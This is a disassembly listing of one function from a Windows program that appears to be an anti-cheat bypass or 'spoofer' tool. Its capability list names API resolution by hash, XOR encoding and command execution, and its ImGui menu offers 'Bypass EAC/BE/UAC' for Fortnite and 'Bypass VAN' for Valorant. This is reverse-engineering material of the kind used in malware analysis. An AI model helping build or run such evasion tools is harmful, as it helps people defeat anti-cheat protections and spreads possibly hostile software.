Function at 0x140059c10
Capabilities:
Access peb ldr_data
Check if file exists
Create directory
Create process on windows
Create thread
Delete file
Encode data using xor
Execute command
Get file attributes
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x6e8]
sub rsp, 0x7e8
mov ecx, 8
call fcn.1400cf704
lea rcx, [0x140057c90]
xor r13d, r13d
mov r9, rax
lea r8, [0x140040fe0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r13d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x14005ede8
mov qword [rsp + 0x7e0], r12
cmp dword [rbp + 0x38], r13d
je 0x14005eddc
movaps xmm0, xmmword [rbp + 0x30]
lea rcx, [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005eddc
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rbp + 0x30], xmm0
call fcn.1400cf704
lea rcx, [0x140040db0]
mov r9, rax
lea r8, [0x140040fe0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r13d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x14005edcc
cmp dword [rbp + 0x38], r13d
je 0x14005edc0
movaps xmm0, xmmword [rbp + 0x30]
lea rcx, [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005edc0
mov qword [rsp + 0x800], rbx
lea rax, [0x14005ee00]
mov qword [rsp + 0x808], rsi
xorps xmm0, xmm0
mov qword [rsp + 0x810], rdi
mov edx, 0x7f00
mov qword [rsp + 0x7d8], r14
xor ecx, ecx
movaps xmmword [rsp + 0x760], xmm12
movdqa xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x2f0], 0x50
mov dword [rbp + 0x2f4], 0x40
mov qword [rbp + 0x2f8], rax
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], r13
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x310], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
lea r14, [0x1401010c0]
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x318], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x330], r14
xor ecx, ecx
mov qword [rbp + 0x328], rax
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0x338], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x14031cc64]
mov r12d, 1
mov ecx, r12d
cvttss2si esi, dword [0x14031cc60]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x14031cc64]
xor ecx, ecx
movss xmm12, dword [0x140102d14]
cdq
sub eax, edx
mulss xmm0, xmm12
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x14031cc60]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r13
cdq
mov qword [rsp + 0x50], r13
sub eax, edx
mov rdx, qword [rbp + 0x330]
mov r8, r14
mov qword [rsp + 0x48], r13
xor ecx, ecx
mov qword [rsp + 0x40], r13
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm12
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x14031da00], rax
lea edx, [r13 - 0x14]
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov rcx, qword [0x14031da00]
lea edx, [r13 - 0x14]
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea r9d, [r13 + 2]
mov rcx, qword [0x14031da00]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140102e90]
lea rdx, [rbp + 0x348]
mov rcx, qword [0x14031da00]
movdqu xmmword [rbp + 0x348], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14031da00]
lea rdx, [0x14031da28]
xorps xmm0, xmm0
movups xmmword [0x14031da28], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x14031da00]
lea ecx, [r13 + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x14031e088], rax
mov rcx, rax
test rax, rax
je 0x14005ed6f
lea rdx, [0x14031e098]
mov qword [0x14031e0a0], r13
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x14031e0a0]
mov qword [0x14031e0ac], r13
mov qword [rsp + 0x28], rdx
mov r8d, r12d
mov dword [0x14031e0b4], r13d
xor edx, edx
mov qword [0x14031e0bc], r13
mov dword [0x14031e0c4], r13d
mov qword [0x14031e0d4], r13
mov dword [0x14031e0c8], r12d
mov dword [0x14031e0b8], r12d
mov dword [0x14031e0a8], r13d
mov dword [0x14031e0cc], r12d
mov dword [0x14031e0d0], 0x50
mov dword [0x14031e0dc], r12d
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x14005ed68
mov rcx, qword [0x14031da00]
lea edx, [r13 + 0xa]
mov qword [rsp + 0x7d0], r15
movaps xmmword [rsp + 0x7c0], xmm6
movaps xmmword [rsp + 0x7b0], xmm7
movaps xmmword [rsp + 0x7a0], xmm8
movaps xmmword [rsp + 0x790], xmm9
movaps xmmword [rsp + 0x780], xmm10
movaps xmmword [rsp + 0x770], xmm11
movaps xmmword [rsp + 0x750], xmm13
movaps xmmword [rsp + 0x740], xmm14
movaps xmmword [rsp + 0x730], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14031da00]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdx, qword [0x14031d9a0]
mov ecx, 0x61c8
mov rdi, qword [0x14031d9b0]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, qword [0x14031d9b0]
mov r9, rax
test r8, r8
je 0x14005a0b3
movsx rax, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r10d, dword [r8 + 0x3f90]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x14005a0a8
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], r13d
inc word [rdx + 4]
inc dword [r8 + 0x6070]
test r9, r9
je 0x14005a0c4
xor edx, edx
mov rcx, r9
call fcn.140002930
jmp 0x14005a0c7
mov rax, r13
mov qword [0x14031d9b0], rax
call fcn.140007390
test rdi, rdi
je 0x14005a0e1
mov qword [0x14031d9b0], rdi
jmp 0x14005a0e8
mov rdi, qword [0x14031d9b0]
test rdi, rdi
jne 0x14005a10e
mov r8d, 0x10d9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x14031d9b0]
or dword [rdi + 8], 3
xor ecx, ecx
call fcn.140022820
mov rcx, qword [0x14031da00]
call fcn.14003e880
mov rbx, qword [0x14031d9b0]
mov rsi, qword [0x14031e098]
test rbx, rbx
jne 0x14005a159
mov r8d, 0x10d9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14031d9b0]
cmp qword [rbx + 0x98], r13
je 0x14005a17c
mov r8d, 0x11f
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREY_backendsimgui_impl_dx9.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [0x14031d9a0]
mov ecx, 0x28
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r9, qword [0x14031d9b0]
mov r8, rax
test r9, r9
je 0x14005a1fc
movsx rdx, word [r9 + 0x6078]
lea rax, [r9 + 0x607c]
mov r10d, dword [r9 + 0x3f90]
lea rax, [rax + rdx*8]
cmp dword [rax], r10d
je 0x14005a1f1
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r9 + 0x6078], cx
movsx rax, cx
lea rax, [rax*8 + 0x607c]
add rax, r9
mov dword [rax], r10d
mov dword [rax + 4], r13d
inc word [rax + 4]
inc dword [r9 + 0x6070]
test r8, r8
je 0x14005a222
mov qword [r8], r13
mov qword [r8 + 8], r13
mov qword [r8 + 0x10], r13
mov qword [r8 + 0x18], r13
mov dword [r8 + 0x20], 0x1388
mov dword [r8 + 0x24], 0x2710
jmp 0x14005a225
mov r8, r13
or dword [rbx + 0xc], 8
lea rax, str.imgui_impl_dx9
mov qword [rbx + 0x88], rax
mov rcx, rsi
mov qword [rbx + 0x98], r8
mov qword [r8], rsi
mov rax, qword [rsi]
call qword [rax + VariantCopy]
mov rbx, qword [rdi + 0x38]
xorps xmm6, xmm6
movups xmmword [rbp + 0x5c0], xmm6
mov eax, 0xffff
mov dword [rbp + 0x5c0], 0x3f800000
movups xmmword [rbp + 0x580], xmm6
mov dword [rbp + 0x588], 2
movups xmmword [rbp + 0x5b0], xmm6
mov dword [rbp + 0x58c], r12d
movups xmmword [rbp + 0x570], xmm6
mov byte [rbp + 0x57c], r12b
mov dword [rbp + 0x5b4], 0x7f7fffff
mov dword [rbp + 0x5c4], 0x3f800000
mov word [rbp + 0x5c8], ax
mov dword [rbp + 0x5bc], 0x30c
cmp byte [rbx + 0x18], r13b
je 0x14005a2d9
mov r8d, 0xbc7
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm8, xmmword [rbp + 0x570]
movaps xmm9, xmmword [rbp + 0x580]
movq r15, xmm8
movaps xmm10, xmmword [rbp + 0x5b0]
movaps xmm11, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x360], xmm8
movaps xmmword [rbp + 0x370], xmm9
movaps xmmword [rbp + 0x380], xmm6
movaps xmmword [rbp + 0x390], xmm6
movaps xmmword [rbp + 0x3a0], xmm10
movaps xmmword [rbp + 0x3b0], xmm11
movaps xmmword [rbp + 0x3c0], xmm6
movaps xmmword [rbp + 0x3d0], xmm6
movaps xmmword [rbp + 0x3e0], xmm6
test r15, r15
je 0x14005a360
mov r8d, 0xbc9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r14, [0x1401e41d0]
mov dword [rbp + 0x368], 0x133ec
lea rsi, [0x1400fc0f0]
mov qword [rbp + 0x360], r14
lea rdx, [rbp + 0x360]
mov qword [rbp + 0x398], rsi
mov rcx, rbx
mov dword [rbp + 0x374], 0x41600000
call fcn.140028860
mov rbx, qword [rdi + 0x38]
cmp byte [rbx + 0x18], r13b
je 0x14005a3c3
mov r8d, 0xbc7
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x360], xmm8
movaps xmmword [rbp + 0x370], xmm9
movaps xmmword [rbp + 0x380], xmm6
movaps xmmword [rbp + 0x390], xmm6
movaps xmmword [rbp + 0x3a0], xmm10
movaps xmmword [rbp + 0x3b0], xmm11
movaps xmmword [rbp + 0x3c0], xmm6
movaps xmmword [rbp + 0x3d0], xmm6
movaps xmmword [rbp + 0x3e0], xmm6
test r15, r15
je 0x14005a425
mov r8d, 0xbc9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1402a3560]
mov dword [rbp + 0x368], 0x1329c
lea rdx, [rbp + 0x360]
mov qword [rbp + 0x360], rax
mov rcx, rbx
mov dword [rbp + 0x374], 0x41600000
mov qword [rbp + 0x398], rsi
call fcn.140028860
mov rbx, qword [rdi + 0x38]
mov qword [0x14031e100], rax
cmp byte [rbx + 0x18], r13b
je 0x14005a488
mov r8d, 0xbc7
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x360], xmm8
movaps xmmword [rbp + 0x370], xmm9
movaps xmmword [rbp + 0x380], xmm6
movaps xmmword [rbp + 0x390], xmm6
movaps xmmword [rbp + 0x3a0], xmm10
movaps xmmword [rbp + 0x3b0], xmm11
movaps xmmword [rbp + 0x3c0], xmm6
movaps xmmword [rbp + 0x3d0], xmm6
movaps xmmword [rbp + 0x3e0], xmm6
test r15, r15
je 0x14005a4ea
mov r8d, 0xbc9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp + 0x360]
mov qword [rbp + 0x360], r14
mov rcx, rbx
mov dword [rbp + 0x368], 0x133ec
mov dword [rbp + 0x374], 0x41500000
mov qword [rbp + 0x398], rsi
call fcn.140028860
mov qword [0x14031e0e8], rax
lea rsi, [0x14031e460]
mov ebx, 0xe
lea r13, [0x1400fc0f0]
xorps xmm13, xmm13
lea r12, [0x14031c300]
mov r14, qword [rdi + 0x38]
movd xmm7, ebx
cvtdq2ps xmm7, xmm7
cmp byte [r14 + 0x18], 0
je 0x14005a56c
mov r8d, 0xbc7
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x360], xmm8
movaps xmmword [rbp + 0x370], xmm9
movaps xmmword [rbp + 0x380], xmm6
movaps xmmword [rbp + 0x390], xmm6
movaps xmmword [rbp + 0x3a0], xmm10
movaps xmmword [rbp + 0x3b0], xmm11
movaps xmmword [rbp + 0x3c0], xmm6
movaps xmmword [rbp + 0x3d0], xmm6
movaps xmmword [rbp + 0x3e0], xmm6
test r15, r15
je 0x14005a5ce
mov r8d, 0xbc9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
comiss xmm7, xmm13
mov qword [rbp + 0x360], r12
mov dword [rbp + 0x368], 0x8d0
jbe 0x14005a5ed
movss dword [rbp + 0x374], xmm7
lea rdx, [rbp + 0x360]
mov qword [rbp + 0x398], r13
mov rcx, r14
call fcn.140028860
mov qword [rsi], rax
inc ebx
add rsi, 8
cmp ebx, 0x28
jle 0x14005a540
cmp qword [0x14031da18], 0
mov r12d, 1
lea r13d, [r12 - 1]
jne 0x14005a694
mov rcx, qword [0x14031e098]
lea rax, [0x14031da18]
mov qword [rsp + 0x70], rax
lea rdx, [0x14025f410]
mov qword [rsp + 0x68], r13
mov r9d, 0x780
mov qword [rsp + 0x60], r13
mov r8d, 0x3b9bc
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x438
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x14031da20], r13
jne 0x14005a707
mov rcx, qword [0x14031e098]
lea rax, [0x14031da20]
mov qword [rsp + 0x70], rax
lea rdx, [0x14031c040]
mov qword [rsp + 0x68], r13
mov r9d, 0x2c
mov qword [rsp + 0x60], r13
mov r8d, 0x294
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x2c
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x14031da08], r13
jne 0x14005a77a
mov rcx, qword [0x14031e098]
lea rax, [0x14031da08]
mov qword [rsp + 0x70], rax
lea rdx, [0x1401a2080]
mov qword [rsp + 0x68], r13
mov r9d, 0x2c
mov qword [rsp + 0x60], r13
mov r8d, 0x4f83
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x2c
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x14031da10], r13
jne 0x14005a7ed
mov rcx, qword [0x14031e098]
lea rax, [0x14031da10]
mov qword [rsp + 0x70], rax
lea rdx, [0x1401a7010]
mov qword [rsp + 0x68], r13
mov r9d, 0x2c
mov qword [rsp + 0x60], r13
mov r8d, 0x410e
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x2c
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
movss xmm11, dword [0x140102e64]
xor r15b, r15b
movss xmm8, dword [0x140102e30]
movss xmm14, dword [0x140102ddc]
movss xmm10, dword [0x140102d44]
movss xmm15, dword [0x140102dc4]
movss xmm9, dword [0x140102d84]
movss xmm7, dword [0x140102d4c]
nop
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, [rbp + 0x600]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14005a8a0
nop
lea rcx, [rbp + 0x600]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x600]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0x608], 0x12
lea rcx, [rbp + 0x600]
movzx r15d, r15b
cmove r15d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14005a850
test r15b, r15b
jne 0x14005d9fd
mov ecx, dword [0x14031e090]
test ecx, ecx
je 0x14005a931
mov eax, dword [0x14031e094]
test eax, eax
je 0x14005a931
mov dword [0x14031e0a0], ecx
mov dword [0x14031e0a4], eax
mov dword [0x14031e094], r13d
mov dword [0x14031e090], r13d
call fcn.14003e7d0
mov rcx, qword [0x14031e098]
lea rdx, [0x14031e0a0]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14005a90f
mov r8d, 0x816
lea rdx, [0x140101ec0]
lea rcx, [0x1400f1020]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14031d9b0]
test rax, rax
je 0x14005a94b
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005a938
cmp qword [rcx], r13
je 0x14005a938
call fcn.14003e560
mov rax, qword [0x14031d9b0]
test rax, rax
je 0x14005a94b
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14005a96f
jmp 0x14005a94e
mov rbx, r13
mov r8d, 0x17c
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREY_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX9_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14031d9b0]
cmp qword [rbx + 0x18], r13
jne 0x14005a990
test rax, rax
je 0x14005a990
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005a990
cmp qword [rcx], r13
je 0x14005a990
call fcn.14003e560
call fcn.14003f690
call fcn.14000a130
mov r14, qword [0x14031d9b0]
movss xmm0, dword [0x14031cc60]
movss xmm1, dword [0x14031cc64]
mov qword [r14 + 0x49f8], r13
mov qword [r14 + 0x4a00], r13
mov dword [r14 + 0x49ec], r12d
or dword [r14 + 0x49e8], 3
movss dword [r14 + 0x4a08], xmm0
movss dword [r14 + 0x4a0c], xmm1
mov dword [r14 + 0x49f0], r12d
test r14, r14
jne 0x14005aa0d
mov r8d, 0xbf0
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r14, qword [0x14031d9b0]
xor edx, edx
mov qword [r14 + 0x38f8], r13
lea rcx, str.IMGUI
mov qword [r14 + 0x393c], r13
mov dword [r14 + 0x3904], r13d
mov dword [r14 + 0x3964], 0x40e00000
lea r8d, [rdx + 0x2b]
call fcn.14000fe50
mov rbx, qword [0x14031d9b0]
mov rax, qword [rbx + 0x4038]
movsd xmm0, qword [rax + 0x28]
movsd qword [rbp + 0x20], xmm0
cmp dword [rbx + 0x4af8], r13d
jg 0x14005aa7a
mov r8d, 0x766
lea rdx, [0x1400f0e30]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400096e0
movaps xmm0, xmmword [0x1401030c0]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
mov rbx, rax
call fcn.140005350
movsd xmm0, qword [0x14031cc60]
mov edi, eax
movsd qword [rbp - 0x80], xmm0
mov dword [rbp + 0x1a8], 0x3f800000
mov dword [rbp + 0x1ac], 0x3f800000
mov qword [rbp + 0x1b0], r13
mov qword [rbp + 0x1b8], r13
test eax, 0xff000000
je 0x14005ab8c
mov rdx, qword [0x14031da18]
cmp rdx, qword [rbx + 0x98]
setne sil
je 0x14005ab01
mov rcx, rbx
call fcn.140023530
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.1400235b0
lea rax, [rbp + 0x1a8]
mov dword [rsp + 0x28], edi
lea r9, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x80]
mov rcx, rbx
lea rdx, [rbp + 0x1b8]
call fcn.1400236f0
test sil, sil
je 0x14005ab8c
cmp dword [rbx + 0x68], r13d
jg 0x14005ab61
mov r8d, 0x77c
lea rdx, [0x1400f0e30]
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14005ab74
mov rax, r13
jmp 0x14005ab7d
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.1400232c0
mov eax, dword [0x14031e11c]
cmp dword [0x14031d9c4], eax
jne 0x14005ab9f
movaps xmm6, xmm7
jmp 0x14005aba3
movaps xmm6, xmm11
cmp qword [0x14031d9b0], r13
jne 0x14005abc6
mov r8d, 0x10d9
lea rdx, str.C:UsersonwDownloadsSpoofer_2.0_GREYSpoofer_2.0_GREYimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14031d9b0]
movss xmm1, dword [rax + 0x18]
mulss xmm1, xmm9
mulss xmm1, xmm6
addss xmm1, dword [0x14031e124]
comiss xmm13, xmm1
jbe 0x14005abf2
mov dword [0x14031e124], r13d
jmp 0x14005ac09
movaps xmm0, xmm7
minss xmm0, xmm1
ucomiss xmm0, xmm13
movss dword [0x14031e124], xmm0
jp 0x14005ac5f
jne 0x14005ac5f
movss xmm0, dword [0x14031e2d8]
ucomiss xmm0, xmm13
jp 0x14005ac5f
jne 0x14005ac5f
movss xmm0, dword [0x14031da38]
movaps xmm2, xmm8
movss xmm3, dword [0x140102df0]
addss xmm0, xmm7
movss dword [0x14031da38], xmm0
call fcn.1400565f0
movss xmm0, dword [0x14031da38]
comiss xmm0, xmm8
jbe 0x14005ac5f
mov eax, dword [0x14031d9c4]
mov dword [0x14031e11c], eax
mov dword [0x14031da38], r13d
mov rbx, qword [0x14031d9b0]
lea rdx, [rbp + 0x30]
movss xmm6, dword [0x14031e124]
mulss xmm6, dword [r14 + 0x38f0]
mov dword [rbp + 0x30], r13d
movss xmm0, dword [rbx + 0x38f0]
lea rcx, [rbx + 0x4a70]
movss dword [rbp + 0x34], xmm0
call fcn.1400207f0
mov ecx, dword [0x14031e11c]
movss dword [rbx + 0x38f0], xmm6
test ecx, ecx
jne 0x14005ba4d
movss xmm0, dword [0x14031cc60]
lea r8, [rbp + 0x1c0]
mulss xmm0, xmm12
lea rdx, [rbp + 0x1c8]
xor r9d, r9d
mov dword [rbp + 0x1c0], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x1c4], 0x41200000
movss dword [rbp + 0x1c8], xmm0
movss xmm0, dword [0x14031cc64]
movss dword [rbp + 0x1cc], xmm0
call fcn.14002d870
mov rcx, qword [0x14031d9b0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x14005ad2b
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x14005ad32
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_EAC_BE_UAC
subss xmm1, dword [rax + 0x28]
cmp dword [0x14031e0fc], r13d
lea r8, str.Fortnite
movss xmm6, dword [0x140102e00]
movaps xmm0, xmm14
mov rcx, qword [0x14031da10]
sete dl
unpcklps xmm0, xmm14
subss xmm1, dword [r14 + 0x38f8]
mov dword [rsp + 0x38], r13d
movsd qword [rsp + 0x30], xmm0
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002e080
test al, al
je 0x14005ad9b
mov edx, r13d
mov dword [0x14031e0fc], edx
jmp 0x14005ada1
mov edx, dword [0x14031e0fc]
mov rcx, qword [0x14031d9b0]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], r13
jne 0x14005adc8
cmp qword [rcx + 0x4dd8], r13
lea rcx, [rax + 0x260]
je 0x14005adcf
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
lea r9, str.Bypass_VAN
subss xmm1, dword [rax + 0x28]
mov rcx, qword [0x14031da20]
lea r8, str.Valorant
movaps xmm0, xmm14
mov dword [rsp + 0x38], r13d
cmp edx, r12d
unpcklps xmm0, xmm14
movsd qword [rsp + 0x30], xmm0
subss xmm1, dword [r14 + 0x38f8]
sete dl
unpcklps xmm1, xmm6
movsd qword [rsp + 0x28], xmm1
call fcn.14002e080
test al, al
je 0x14005ae2c
mov edx, r12d
mov dword [0x14031e0fc], edx
jmp 0x14005ae32
mov edx, dword [0x14031e0fc]
mov rcx, qword [0x14031d9b0]
